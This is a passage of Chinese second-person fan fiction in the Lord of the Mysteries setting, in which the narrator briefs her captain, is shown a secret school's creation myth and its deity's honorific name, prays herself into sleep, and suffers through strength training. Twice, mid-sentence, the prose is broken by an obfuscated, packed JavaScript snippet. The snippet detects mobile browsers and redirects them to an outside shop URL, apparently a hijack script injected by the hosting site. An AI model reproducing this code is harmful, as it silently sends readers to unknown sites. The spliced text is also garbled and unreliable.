邓恩抬起头,灰色的眼眸依旧是平日的深邃与平静,示意你坐下:“昨晚辛苦了,温蒂。伦纳德昨晚舞会结束前大致向我汇报了你们提前离开的原因。现在,说说你看到的具体情况。” 你点点头,将昨晚通过“虚视”从雪伦夫人过去中看到的一切,尽可能清晰、完整地复述出来。 听完你关于雪伦夫人、特莉丝(前特里斯)以及“女巫”序列性别转换秘密的汇报,邓恩队长脸上惯有的沉稳也出现了一丝裂痕。他灰眸中闪过明显的讶异,尤其是在听到“男性转变为女性”这一信息时沉默了半晌,眉头紧锁。 然后,他抬起头,用那双深邃的眼睛看着你,抛出了一个你从未想过的疑问: “如果序列7‘女巫’会让男性变成女性……那雪伦夫人,” 他顿了顿,声音低沉,“……那么,按照这个逻辑推论,那位雪伦·霍伊夫人,她原本……也是男性吗?” “!” 你瞬间愣住了,嘴巴微张,好一会儿才找回自己的声音:“这……我、我不知道。我只是感觉到了一些近期的她身上的情绪和记忆碎片,但更早的信息无法确定。虽然雪伦夫人是序列6的‘欢愉魔女’,是‘女巫’的下一序列,但是以她和廷根很多男性都有联系来看,理论上……” 你说不下去了,因为“理论上”在这个充满诡异的世界里,往往最靠不住。如果“女巫”能让男人变女人,那更高序列的“欢愉魔女”雪伦夫人可能也经历了同样的转变。 邓恩队长靠回椅背,双手交叠置于下颌,陷入了沉思。片刻后,他做出了决定。 “无论如何,特里斯,或者说特莉丝,已经变成了我们必须高度警惕的目标。一个改变了性别、容貌、甚至可能改变了部分行为模式的序列7非凡者,潜藏在廷根,危险系数极大。” 他看向你,“温蒂,你现在去把那晚你看到的特莉丝的样貌画出来,越详细越好。画好后交给我,我需要让代罚者和机械之心的同僚们也都认一认这张新面孔。” “是,队长。” 你立刻应道。 “另外,去把老尼尔和克莱恩叫到我办公室来。我们需要尽快确认这个新情报。” 邓恩队长补充。 “好的。” 你点点头,刚准备转身离开,忽然想起另一件重要的事,连忙说:“队长,还有件事。关于我下一序列‘机器’的魔药配方,我已经通过生命学派那边询问过了,价格是400磅。另外……” 你顿了顿,决定将之前从达克威尔那里确认的“扮演法”说出来。 “我在和生命学派的线人接触时,还了解到一个对我们消化魔药非常重要的方法——‘扮演法’。简单来说,就是要深入理解和贴合魔药名称所代表的精神或象征,在日常生活中去‘扮演’那个角色,从而加速消化,降低失控风险。不过……扮演者要记住,你只是在‘扮演’,不可以沉迷,那会导致你迷失……” “扮演法……” 邓恩队长低声重复着这个词,灰色的眼眸中掠过一丝恍然和深思,他喃喃自语般,“记住,你只是在‘扮演’……” 这句话似乎触动了他某个久远的记忆或思考。几秒后,他抬起头,脸上露出一个真切的笑容,对你点点头:“谢谢你,温蒂。这确实是非常关键、非常有价值的信息,对我们所有人,尤其是对新晋升的非凡者来说,至关重要。我会和其他值夜者仔细研究。” “这没什么,” 你有些不好意思,“我本来就打算找机会告诉大家,就是总被各种事打断,老是忘记。” 这倒是实话。 邓恩队长表示理解:“你提供的信息我都清楚了,把老尼尔和克莱恩叫过来吧。” “是。” 确认没有其他需要立即汇报的事项后,你离开了队长办公室,先去地下武器区找到了正在上课的克莱恩和老尼尔,传达了队长的召唤。然后,你便转身走向那扇熟悉的停放尸体的隐蔽侧门。 这是你第二次来这个房室,第一次是来这里画那个燕尾服小丑的肖像。 这里依旧弥漫着消毒水和陈旧石料的气味,你在墙角的方桌前铺开画纸,拿起铅笔,闭上眼睛,仔细回忆昨晚在舞会上看到的那位温文甜美的黑发女士——特莉丝的每一个细节。 顺滑的黑发,部分在侧边编成发辫,柔顺地垂在肩头。略显圆润的脸蛋,细长的眼睛,鼻子和嘴巴的单独看并不算特别出众,但组合在一起,却奇异地形成一种毫无攻击性,甚至带着点书卷气的温婉甜美气质。 不得不承认,特莉丝从外貌上赢了,她完全不用化妆! 你开始动笔,铅笔在纸上沙沙作响,力求还原出这份极具欺骗性的外表。 就在你专注于描绘特莉丝那双细长眼睛的神韵时,身后传来极其轻微的、几乎融入背景音的开门声。你以为是队长又有事进来,没有立刻回头,只是随口问道:“队长,还有什么事吗?” “是我,弗莱。” 低沉平稳的声音在身后响起。你这才停下笔,有些惊讶地转过头,看到弗莱那高大的身影正站在门口。他黑发梳理得整整齐齐,表情平静无波。你以为他只是进来取什么东西,或者是看见密门打开后过来检查一下情况。 然而,弗莱并没有立刻走开,他迈步走了进来,目光落在你面前的画纸上。他没有说话,只是静静地站在你侧后方不远不近的位置,那双灰蓝色的眼睛专注地审视着画中逐渐成型的特莉丝肖像。 这沉默的注视让你有点不自在,但又不好说什么。你只好继续画,只是感觉下笔稍微僵硬了些。 过了一会儿,弗莱忽然开口,声音依旧没什么起伏。 “画得不错。” 他简短地评价道,“比我画得好。” “啊?” 这出乎意料的评价让我再次惊讶地抬起头,看向他。 “您也喜欢画画吗?” 你忍不住问道,好奇压过了刚才的那点不自在。 弗莱点了点头,蓝色的眼睛依旧看着画纸,嘴角似乎极其轻微地、向上勾了勾,形成一个几乎难以察觉的弧度。 “嗯。” 他应了一声,然后补充道,语气平静得像在陈述天气,“小的时候,我的梦想是成为一名画家。在你来之前,队里需要画像记录的任务也通常由我来完成。” “那……弗莱先生您画得肯定也很好。” 你客气地说。 弗莱不置可否,只是又看了一眼你的画,转身推门走了出去。密室里又只剩下你一个,以及画纸上逐渐鲜活起来的、危险“女巫”的面容。 将精心绘制的特莉丝肖像交给邓恩队长后,他仔细端详了片刻,点了点头,嘱咐你好好休息,暂时不要多想。 被批准了休息,你没有直接回家。雪伦夫人与特莉丝带来了无形压力,让你迫切地觉得自己需要更多倚仗。既然“命运眷者”的身份在生命学派内似乎享有特殊地位,那么积极了解并利用这个组织的渠道和知识,就成了必然的选择。 你再次踏入了弗拉德街那家熟悉的草药店。今天店里不止达克威尔一人,他的学徒谢尔敏——一个看起来安静认真的年轻小伙子,此时正在柜台后分拣药材。而角落里,阿德米索尔也坐在一个小凳子上,拿着一个石质的柱头在那舂药材。 见你进来,他灰暗的眼睛立刻亮了一下,但很克制地没有像往常那样立刻凑过来。 有外人在场,尤其是在达克威尔的徒弟面前,你决定给他留点面子,没有再像之前那样开口就喊“胖达”,而是收敛了平时玩笑的神色,走到柜台前,用略显正式的语气开口道:“下午好,达克威尔先生。有些关于学派的事情,想向您请教。” 达克威尔听到你用这么正式的称呼,胖脸上闪过一丝意外,甚至还抖了个激灵,但他很快掩饰过去,用袖子擦了擦他自己手上的药屑,对旁边的谢尔敏低声交代了一句,然后示意你跟他上二楼。 你跟在他身后,走上通往二楼起居室兼书房的狭窄楼梯。阿德米索尔迟疑了一下站了起来,得到你的眼神后又默默坐了回去。 二楼的小房间比楼下更加杂乱,堆满了书籍、草药标本和奇奇怪怪的玻璃器皿。达克威尔在一堆杂物中翻找了一会儿,抽出一本有些边角磨损的薄册子,没有直接递给你,而是先问道:“基础的创世神话,你应该知道吧?能背一段吗?” 这是要考较我的神秘学基础? 你虽然有些不解,但还是清了清嗓子,回忆着在老尼尔课上以及小时候在教会学校学到的内容,用清晰的语调背诵道: “造物主从混沌中醒来,打破了幽暗,制造了第一缕光,自己则彻底融入宇宙,化身为万物,祂的身躯成为大地,成为星辰,祂的眼睛一只变为太阳,一只化作红月,祂的部分血液奔腾为大海与江河,滋润和孕育了生命……祂的影子化为了所有生灵的堕落自性。而祂的智慧中诞生了人类,这就是第一纪,混沌纪元。” 这是北大陆流传最广的创世神话版本,强调了造物主的牺牲与万物的同源。 “背得很对,这是七大正神教会和目前主流神秘学界承认的、关于世界起源的‘标准版本’。” 达克威尔将手中那本小册子轻轻放在桌上,手指点了点封面,“但是,在我们生命学派内部传承的古老记载中,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228380|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为,在最初,‘造物主’从混沌中苏醒、打破幽暗、化身万物的那个瞬间,另一件同样至关重要的事情也发生了。” “那就是命运的雏形,或者说,是命运这个概念本身的具象化——我们称之为‘始祖’。万物的轨迹、因果的丝线、一切的必然与偶然,在宇宙诞生的那一瞬间,就已经开始编织。‘始祖’并非被创造,而是与生命这个概念一同浮现。” 你仔细消化着这段话:“也就是说……在你们看来,‘始祖’是和‘造物主’同一个等级、同时期存在的……概念化身?” 这比你想象的古老存在还要古老。 “可以这么理解。” 达克威尔没有否认,但补充道,“不过,这并非通常意义上的神明比较。更准确地说,‘始祖’是命运这条河流本身的象征,是那个最初的‘推动者’和‘观察者’。” 可是,这么厉害的存在,为什么在外界几乎没有任何关于“始祖”的尊名、信仰或传说流传?造物主的传说可是遍布大陆,连小孩子都知道。 你忍不住将心中的疑惑直接问了出来,没有客气:“如果‘始祖’真的和‘造物主’是同时诞生、同等级的存在,为什么祂在外面……几乎没有任何名声?连隐秘的邪神崇拜里,似乎都没有‘始祖’的名号?” 达克威尔对你的问题并不奇怪,他似乎早就料到你会这么问。他摇了摇头,语气平静地解释道: “这有几个原因。首先,‘始祖’不需要信仰。祂的存在不依赖于众生的祈祷或献祭。只要宇宙还在运转,命运之河还在流淌,哪怕只有一个生灵还存在并做出选择,祂的‘存在’就得以维系。信仰对祂而言毫无意义,甚至可能是噪音。” 他顿了顿,继续道:“其次,命运的本质,是概率,是选择,是无数因果纠缠下的混沌与不可测。即便是‘始祖’,作为命运的具象,也无法完全‘掌控’命运,或者说,命运本就不应该用‘掌控’这个词。命运更像是这条河流本身,承载一切,流向某个终局,但过程中的每一朵浪花、每一个漩涡,都充满了变数。这也是我们学派名称‘生命’的由来之一——生命本身,就是命运最生动、最不可预测的体现。” “最后,” 达克威尔看了你一眼,声音压低了些,“生命学派是一个没有明确教条、不索取信仰、不常直接显现‘神迹’的学派,其核心教义承认命运混沌本质的存在……我们的师徒传承也注定我们学派不可能大范围传教。生命学派还是近几百年才逐渐吸纳了一些‘药师’途径的成员才稍微壮大了一些。” 你若有所思地点点头,心中渐渐勾勒出一个模糊的轮廓:一位与宇宙同寿,执掌命运权柄却无需信仰,象征着混沌与可能性的古老存在——‘始祖’。 这样一来,很多事情就说得通了。 生命学派能在各大势力和官方教会之间保持相对中立,甚至被默许存在,不仅仅是因为他们通常不主动制造混乱或对抗秩序,更因为他们背后站着这样一位极为特殊、难以定义、甚至难以被常规手段消灭或压制的“始祖”。 一位掌握命运,本身又象征着命运,不需要信仰但又能通过某种方式影响非凡者的存在……这简直就是个宇宙级的“搅屎棍”啊……不对,是搅局者。你立马在心里修正了自己不敬的词汇。 既无法彻底驱逐祂,因为命运无处不在,又不能与祂为敌,因为祂的攻击可能以任何意想不到的厄运或巧合形式出现,但与之交好,或许能在某些关键节点获得一些隐晦的指引或规避某些注定的灾厄。 难怪……无论是值夜者、代罚者还是机械之心,对生命学派的态度都倾向于观察、有限合作或保持距离的尊重,而非敌视或剿灭。上面有这么个打不死、甩不脱、还能悄无声息让你倒霉的“老祖宗”存在着,换谁都得掂量掂量。与其为敌,不如在规则内保持一种心照不宣的交好或互不侵犯。 想通了这点,你对生命学派的定位和自己在其中的微妙处境,有了更清晰也更有压力的认识。这个“命运眷者”的身份,或许比你想象的还要复杂和烫手。 “我大概明白了。” 你深吸一口气,对达克威尔说道,“谢谢你的解释,这对我理解自己的处境很有帮助。” 达克威尔摆了摆手,脸上又恢复了平时那种混合着精明和一丝不耐烦的表情:“明白了就好。还有什么要问的?没有的话,我要下去看看谢尔敏的萃取进度了。还有,楼下那个‘怪物’,你确定要将他记在自己名下了吗?如果确定,我会把他的信息提交给上一层的议会,基本上批准都会通过,因为徒弟是你自己收的,你自己负责。只是他不是命运眷者,所以届时会有人过来考核他的精神稳定性,你最好让他做好准备。” 79.第77章 关于徒弟是文盲这件大事 你对达克威尔的安排没有异议。将阿德米索尔引入学派内部,给他一个相对稳定的环境和引导,本就是你的初衷。 “我确定。麻烦你了,达克威尔先生。” 你少见地用了正式而诚恳的语气道谢。 达克威尔似乎被你这一本正经的道谢弄得有点不自在,哼了一声,别过脸去,嘟囔道:“这算什么麻烦,不过是走个流程……” 他话音未落,就听见你紧接着小声补充了一句: “谢谢啦,胖达!” “都说了别叫我胖达!” 达克威尔瞬间炸毛,圆脸涨红,刚才那点故作沉稳的师长架子荡然无存。他气呼呼将那本薄册子塞到你手里,语速飞快地说: “拿去看!册子上有生命学派的组织架构、始祖的尊名,还有学派的基本理念!你作为眷者,连自己学派的基本情况都不知道,像什么话!” 他顿了顿,像是想起了什么更头疼的事,下巴指向楼下,“还有,下面那个,连字都不认识,纯纯文盲一个!你自己看着办!” “……啊?” 你彻底懵了,捧着册子的手僵在半空。不、识、字?! 你预想过教导阿德米索尔可能遇到的种种困难——灵感失控、精神不稳定、沟通障碍、无法控制“怪物”的高灵感……但你万万没想到,第一个摆在面前的、最基础也最艰巨的难题,居然是——扫盲! 阿德米索尔不识字啊啊啊啊啊! 你在内心无声地呐喊尖叫。 你下意识地看向达克威尔,此刻你的眼神里大概充满了求助和“你不会见死不救吧”的意思。 达克威尔立刻警惕地往后退了两大步,双手在胸前交叉,摆出一个坚决的“拒绝”姿势:“别看我!我可不会教人读书识字! 我自己教徒弟配药、辨识灵性材料已经够头疼了!让我教文盲启蒙?你想都别想!” 他的表情写满了“此事免谈”。 “……” 你看着他避之不及的样子,知道这条路是彻底堵死了。认命吧,温蒂·佩洛蒙西娅,你自己认下的学生,跪着也要教完。 你长长地、无声地叹了口气,感觉肩膀上的担子又重了几分。 “好吧……我知道了。” 你有些无力地应道,“有空的时候,我会过来教他。但是,”你看向达克威尔,又想起一个更基本的问题,“那个……在那之前,能不能麻烦你先管着他的饭,给他个地方睡觉?总不能让他继续露宿街头或者睡在恶龙酒吧的角落吧?” 你想起阿德米索尔之前那副惨样。 达克威尔对这个请求倒是没怎么犹豫。他撇了撇嘴,语气稍微缓和了点:“这个不用你说。店里后面有个空着的小客房,收拾出来给他住了。吃饭嘛……跟着我和谢尔敏凑合一口,饿不死他。正好,他手脚还算麻利,人也还算听话,平时可以让他帮忙磨药、捣药、把一些草药处理成粉末,算是抵一部分食宿。” 他顿了顿,补充道,“这小子虽然时不时念叨些奇奇怪怪的话,但让干活的时候倒是不偷懒,让做什么就做什么,还算省心。” “这就够了!太谢谢了,胖……呃,达克威尔!” 你连忙改口,心里松了一口气。至少阿德米索尔有了一个相对安稳的落脚点和基本的生活保障,比你预想的要好多了。至于教识字……现在阿德米索尔不用再流浪街头,有个地方住,有口饭吃,有点简单的事情做,对稳定他的精神状态应该也有帮助,识字这种事情慢慢来就好! “那就拜托你了,达克威尔先生。” 你再次道谢,这次真心实意。 “行了行了,快走吧,别耽误我配药。” 达克威尔挥挥手,开始赶人,脸上又恢复了那副“我很忙别烦我”的表情。 …… 回家后,你反锁好门,拉上窗帘,这才在书桌前坐定,就着煤气灯温暖的光晕,郑重地打开了达克威尔交给你的那本小册子。册子的封面是某种柔软的皮革,没有任何文字,触手有些凉意。 深吸一口气,你翻开了第一页。 映入眼帘的,是一个用暗红与银灰双色线条精心绘制的复杂圆形图案。核心是三只兔子首尾相接,奔腾不息,三只长长的耳朵巧妙地连接成一个等边三角形,构成一个永恒的循环。 这三只兔子,每一只都带着残缺:一只是盲眼,眼眶空洞,没有瞳孔;一只缺少了两只前足,但依旧保持奔跑的姿态;第三只则是根本没有脑袋,脖颈处是一片虚无,仿佛被无形之力斩断。 在着三只兔子外,三条流淌着水银般光泽的细蛇,首尾相衔,盘绕成一个更大的圆环,将三只兔子紧紧包围在中央。这三条蛇的神情栩栩如生,一条面目凶恶,獠牙外露;一条表情枯槁,眼神中透出痛苦与煎熬;最后一条却显得异常庄严慈悲,仿佛在怜悯众生。 这图形设计得……好直接,好诡异。没有一丝一毫正统教会象征中常见的圣洁、光明或委婉的隐喻,而是赤裸裸地展示了命运的残酷、生命的残缺以及环绕其间的、各种极端的情感与状态。 你下意识地搓了搓手臂上冒起的鸡皮疙瘩。这大概就是不需要向大众传教、无需顾虑普通人接受能力的隐秘学派的“底气”吧?第一页就用如此直白甚至堪称狰狞的意象,毫不掩饰地揭示其教义的核心——命运并非总是美好,循环伴随着残缺,而众生皆在苦乐交织的漩涡中挣扎。换做任何一个不明所以的普通人看到,第一反应绝对是邪教图腾。你心里默默吐槽。 平复了一下被图案冲击的心情,你翻开了第二页。 这一页是“始祖”的介绍,用古赫密斯语书写: “当‘造物主’自混沌中醒来的概念诞生的那一刹那,命运的洪流便已应运而生,‘始祖’亦随之降临。祂的诞生先于宇宙的起始,祂的终结将迟于宇宙的寂灭。祂既存在于遥远的过去,也存在于鲜活的现在,同时存在于无尽的未来。祂的存在,是为给予沉沦于命运之网的生灵以最终的救赎与启示,打开物质身躯与永恒灵性之间循环往复的通道……只要万物的命运依旧交织,汇成奔流不息的江河,祂的意志与灵性便将永不磨灭。即便躯壳散逸,亦终将从命运的源头归来。” 这段话信息量巨大,但你的注意力却被最后一句牢牢抓住:“即便躯壳散逸,亦终将从命运的源头归来。” 为啥会预设被打散身体然后复活归来啊?“始祖”你树敌很多吗? 你一下子没忍住,心里冒出个大不敬的念头。 这介绍听起来位格极高,玄乎其玄,涉及时间、救赎和永恒,但通篇看下来,怎么一个直观的、能用来打架或者保命的战斗技能都没提?感觉“始祖”更像是一个庞大而抽象的规则化身,而不是那种会直接降下雷霆怒火或者展现神迹治愈伤病的“实用型”神明。 不不不温蒂,不要用“实用”来形容一位神明……你摇摇头,甩开这些杂念,继续往下看。 接下来,册子上毫无遮掩地印着“始祖”的三段式尊名: “交织万物命运之线的古老纺者; 循环因果与时空的永恒之环; 超脱纪元生灭的永生之钥。” 学派老祖宗的联系方式就这么坦荡地印在小册子上,没有任何加密或防护。 但你转念一想,生命学派能一直存在,并未被正神教会定性为必须铲除的邪恶教派,必然有其原因。 你回想起达克威尔,他虽然脾气大、爱财、动不动就大喊大叫,但本质并不坏,甚至称得上可靠,完全没有那种邪教徒的疯狂感。而且你成为“命运眷者”也有一段时间了,除了身边非凡事件频率高了点(这似乎不能怪“始祖”),并没有遭遇什么莫名其妙的、针对你个人的厄运或不幸。 这些让你对这位名义上的“老师”——始祖,建立起了一丝基本的信任。至少,祂和祂的信徒,目前看来并非不可接触的疯狂存在。 于是,你收敛心神,坐直身体,用手指轻轻拂过那三段尊名,然后低声地、清晰地用赫密斯语念诵了出来: “交织万物命运之线的古老纺者; 循环因果与时空的永恒之环; 超脱纪元生灭的永生之钥。” 话音落下的瞬间,房间内似乎并没有发生任何肉眼可见的异变。没有强光,没有异响,没有灵性的剧烈波动。然而,一种极其微妙的感觉却悄然浮现。仿佛……周围空气的“密度”发生了变化,一种难以言喻的沉静感笼罩了下来。 紧随着,是层层叠叠的、仿佛来自极遥远之处,又似乎直接回响在脑髓深处的呓语。那声音非男非女,非老非少,更像是无数细微声响的汇聚,勉强能分辨出似乎是两到三个音节的不断重复与交织,但具体含义完全无法理解。 这呓语并不刺耳,反而带着一种奇异的韵律,让你虽然警惕,但灵性上并未感到强烈的冲击或污染,尚能适应。 有了上次向愚者先生举行仪式的经验,你定了定神,学着那种祈求的格式,继续用赫密斯语低声诵念: “我祈求您的帮助,” “我祈求您的眷顾,” “祈求您……” 你停顿了一下,没敢现在就许下什么具体的愿望。就算“始祖”名义上是自己的老师,第一次正经沟通就索要“增加身体强度”之类的东西,也未免太过大胆和功利。于是,你选了个最安全、最普通的诉求:“……祈求您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233394|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我一个好梦。” 然而,你显然低估了一位信徒稀少、几乎无需处理日常祈祷的隐秘存在,对于指向自身的联系和祈求的回应速度。 祈求的尾音刚刚落下,甚至没给你任何反应或后悔的时间,一股强烈到无法抗拒的困意,就如同被无形巨手抡起的重锤,温柔地砸在了你的意识上。 没有预兆,前一秒你还清醒地站在房间地板上,下一秒,视野瞬间模糊黑暗,软软地滑倒在地板上,手中的小册子“啪”地一声掉在旁边。意识彻底沉入黑暗之前,最后的念头是:“始祖……您的效率……是不是有点太高了……” “温蒂?温蒂!你怎么了?醒醒!” 迷迷糊糊中,你听到妈妈焦急的呼唤,同时感觉有人在轻轻拍打我的脸颊。你费力地睁开仿佛被胶水黏住的眼皮,刺目的光线让你又立刻闭上。适应了好一会儿,才看清妈妈写满担忧的脸庞。 “妈……妈妈?” 你含糊地应了一声,感觉脑袋还有点发懵,身体因为在地板上躺了太久而有些僵硬酸痛。 “你没事吧?怎么在地上睡着了?叫了你好几声都没反应,吓死我了!” 妈妈松了一口气,但眉头依然紧锁,手移到你后脑勺轻轻揉了揉,“有没有摔到哪里?是不是哪里不舒服?” 你这才彻底清醒过来,回想起睡着前发生的事,心里一阵后怕和尴尬。 这可怎么跟妈妈解释?说女儿我对着一个小册子念了几句咒语,然后就被自己祈求来的睡眠放倒了? “没、没事!妈妈我没事!” 你赶紧坐起来,动作太猛还晃了一下,“就是……就是昨天买了一种据说助眠效果特别好的新熏香,点的时候忘记开窗通风了,可能浓度太高,直接把我……放倒了。” 你迅速编了个理由,脸上努力做出不好意思的表情,“效果也太好了点……” 妈妈将信将疑地看着我,又看了看房间里:“熏香?什么熏香效果这么厉害?而且我怎么没闻到味道?你该不会是……” 你生怕她继续追问下去,立刻先发制人,抓住她的手臂,转移话题:“对了妈妈,你上来叫我是不是有事?我是不是睡过头了?” 妈妈这才想起正事,拍了下额头:“瞧我这记性,光顾着担心你了。是克莱恩来了,就在楼下。他说跟你们约好了什么格斗训练,看你一直没去公司,有点担心,就直接找过来了。” 格斗训练!高文先生!今天下午! 你忽略了身体的酸痛,猛地从地上弹起来,所有的迷糊瞬间飞到了九霄云外。完了完了,真的睡过头了!还睡在地上!被妈妈抓了个正着! “啊!对对对!是有训练!我完全忘了!谢谢妈妈!” 你语无伦次地说着,手忙脚乱地整理了一下睡得皱巴巴的衣服和头发,也顾不上跟妈妈详细解释熏香的事了(反正也解释不清),“我、我先出门了!晚上训练完可能还要……还要去同事家讨论点工作,不回来吃饭了!”同时心里默默补充:晚上还得去教阿德米索尔认字,至少得让他先学会鲁恩语和赫密斯语的基础吧……任务艰巨! 不等妈妈再说什么,你抓起丢在床上的外套,像一阵风似的冲出了卧室,噔噔噔跑下楼。 楼下,克莱恩果然站在门口,他穿着方便活动的深色长裤和衬衫,外面套了件薄外套,头上戴着那顶半高丝绸礼帽,正安静地等待着。看到你风风火火、头发还有些毛躁地冲下来,抬手轻轻抬了抬帽檐致意。 “克莱恩!” 你气喘吁吁地停在他面前,脸上因为奔跑和尴尬有些发红,“抱歉抱歉!我睡过头了!还麻烦你特意跑一趟来找我,真是太不好意思了!” “下午好,温蒂。” 克莱恩语气平和,他摇了摇头,“没什么。只是到了约定的时间没看到你回公司,队长和尼尔先生也没派其他任务,有些担心你是不是忘了,所以冒昧直接上门了。希望没有太打扰。” 他的措辞总是这么礼貌周到。 “完全不唐突!倒不如说幸亏你来了!” 你连忙摆手,心有余悸地拍了拍胸口,“不然我可能真的会在地板上睡到晚饭时间……那就更糟了!” “地板上?” 克莱恩的眼睛里闪过一丝疑惑。 “呃,这个说来话长……” 你看了看街上驶过的公共马车,赶紧说,“我们先上车吧,路上我跟你说。高文老师那边迟到了可不好。” 你想象了一下那位前骑士先生可能拉长的脸,不由得打了个寒颤。 “好。” 克莱恩点点头,没有多问,挥手拦下了一辆路过的公共马车。他先一步登上马车,然后转身,向你伸出了手。你借力上了车,和他并排坐在了有些硬的座椅上。 80.第78章 太好了还有克莱恩陪我一起菜 马车缓缓启动,朝着北区城郊的方向驶去。车厢内微微颠簸,你将额前散落的头发别到耳后,终于有机会解释: “简单说就是……我今天和生命学派接触了一下,大致了解了学派的理念和信仰的神明,然后念诵了他们所信仰的‘始祖’尊名……”你压低了声音,有点尴尬,“因为第一次认识这位始祖,不知道祈求什么,所以我就祈求了一个好梦,然后,你知道的,直接倒地不起了……”后面的事情不言而喻了。 克莱恩闻言,脸上露出了了然又有些无奈的表情:“该说不说,果然是能自创灵感放大法的‘怪物’小姐。”被一向很有礼貌的克莱恩调侃,让你更觉得出糗了,“那这位‘始祖’赐予了你什么好梦?” 提到这个,你精神一振,脸上不自觉露出笑容:“说出来你可能不信,我梦见自己继续求学,得到了导师的推荐,成了研究生! 还在梦里收到了好大一笔奖学金!” 那个梦境虽然短暂,但能够继续学业和获得奖学金支票的喜悦感却异常真实清晰,以至于醒来后还有种莫名的振奋。 “……” 克莱恩明显愣了一下,随即忍不住抬手扶住额头,轻轻摇了摇,嘴角似乎抽搐了一下,“……那还真是,生命不停息,学习不停止啊。” “是的是的!” 你连连点头,深有同感,“罗塞尔大帝这句话说得真对!不过就算现在不在公司上班,继续深造学业也很考验家境,我估计也不会选择继续读下去。所以‘始祖’才会让我在梦里实现愿望继续读书吧。” 听到“罗塞尔大帝”,克莱恩的嘴角似乎又抽动了一下,他转过头,望向窗外,没再接这个话题。 幸运的是,马车速度不慢,你们最终是踩着下午三点整的时间线,气喘吁吁地赶到了高文老师面前。 这位前骑士老师看起来已经等在那里有一会了。他换上了一身洗得发白的旧式训练服,背着手,像一尊沉默的雕塑。看到你们匆忙跑来,他从鼻孔里冷冷地“哼”了一声,目光在你们身上扫过,带着审视,但最终没说什么指责迟到的话。 “去那边小屋,换上给你们准备的训练服。” 他用下巴指了指旁边一个棚屋,声音粗粝,“今天的任务很简单,你们需要训练力量,所以今天先去举铁制哑铃,然后练习深蹲、跑步、跳绳。每组动作我会示范一遍,接着你们重复,一组一组来,直到我说停。” 他的语速不快,但每个字都带着不容置疑的分量。 你和克莱恩还在消化这一连串听起来就不轻松的安排,高文的嗓音就突然拔高,如同惊雷炸响在我们耳边:“听明白了吗?!” “明白了!” 你和克莱恩被吓得一激灵,几乎是条件反射般地立正,扯着嗓子大声回答。 光是听着这训练安排就觉得嘴里发苦。是因为我们差点迟到,所以被“特别关照”了吗? 你心里打鼓,有些愧疚地看了一眼克莱恩,觉得是自己睡过头连累了他。 换好那身粗糙但结实的亚麻布骑士练习服后,你鼓起勇气,小跑到高文老师面前,低着头说:“高文老师,对不起。今天差点迟到,是因为我睡过头了,克莱恩是为了等我,才踩点到的。” 你想把责任揽到自己身上。 但这位前骑士先生只是低下头,用那双略显浑浊但异常锐利的蓝眼睛盯着我,半晌,又从鼻孔里哼了一声:“怎么,你觉得我是在故意惩罚你们,所以才安排这些?” 你没敢回答,但脸上的表情大概出卖了你的想法。 看到你的表情,高文的嘴角似乎扯动了一下,不知道是气的还是笑。“就你们俩这细胳膊细腿,风一吹就倒,还经不起我的加练。” 他毫不客气地评价,然后话锋一转,“不过,你倒是提醒我了。” 你心里咯噔一下,以为你的“坦白”反而提醒了老师。 结果他只是用粗粝的手指点了点你的肩膀:“以后,必须提前至少半小时到。到了先自己热身,活动关节,慢跑。训练前不充分热身,那我可没空给你们当跌打医生。” 说完,他不等你反应,就伸手在你后背拍了一下,把你推向了正在原地活动手脚的克莱恩那边,粗声催促道:“还磨蹭什么?去!哑铃在那边!从最轻的开始!” 原来不是加练,是加了个热身要求……你松了口气,同时又觉得肩膀和后背被拍的地方隐隐作痛,这位前骑士的手劲真不是盖的。 接下来的几个小时,你和克莱恩彻底体会到了什么叫地狱。沉重的铁制哑铃仿佛有千斤重,深蹲做到双腿打颤,绕着院子跑步跑到肺部像被火烧了…… 高文老师就背着手站在场边,眼睛想鹰隼一样尖利,一旦发现动作变形或偷懒,立刻就是一声暴喝纠正。他的教学方法简单粗暴,但异常有效——至少让你们在恐惧和疲劳中,牢牢记住了每个动作的要领。 当下午的训练终于结束时,你和克莱恩两个人互相搀扶着,几乎是靠挪来走出高文老师的院落。 你们的脸色惨白,额发被汗水浸透贴在皮肤上,眼神涣散,呼吸粗重,走路的姿势歪歪扭扭,活像两具刚从墓地里爬出来的活尸。 你感觉到肌肉的酸痛如同潮水般席卷全身,尤其是手臂和腿部,稍微动一下都龇牙咧嘴。 这种情况下,别说吃晚饭了,就是闻到食物的味道都觉得反胃。 但悲伤的是,即使累成这样,你还是强打起精神,打了一辆马车,拖着疲惫不堪的身体来到了弗拉德街的草药店。几乎是用最后的意志力,按照最基础的启蒙方法,用一个小时,艰难地教会了阿德米索尔认识鲁恩语的字母表。 阿德米索尔学得很认真,他过高的灵感给了他不低的智商,但是思维很直线。不过总地来说你教得很有成就感,阿德米索尔很听话,也会说话,只是不识字而已,不算是完全无基础。除开全身肌肉让你想“哎呦哎呦”地叫唤,你的教学其实很顺利。 当晚,你几乎是爬着回到贝西克特街的家。妈妈看到你一副被掏空的样子,吓了一跳。但你连解释的力气都没有了,只含糊说了句“训练太累”,就摇摇晃晃地上了楼,脸朝下直接扑倒在床上,瞬间陷入了比白天祈求来的“好梦”更加深沉的昏睡之中。 谢天谢地,第二天你还能起床,充实且疲惫地迎来了周日。 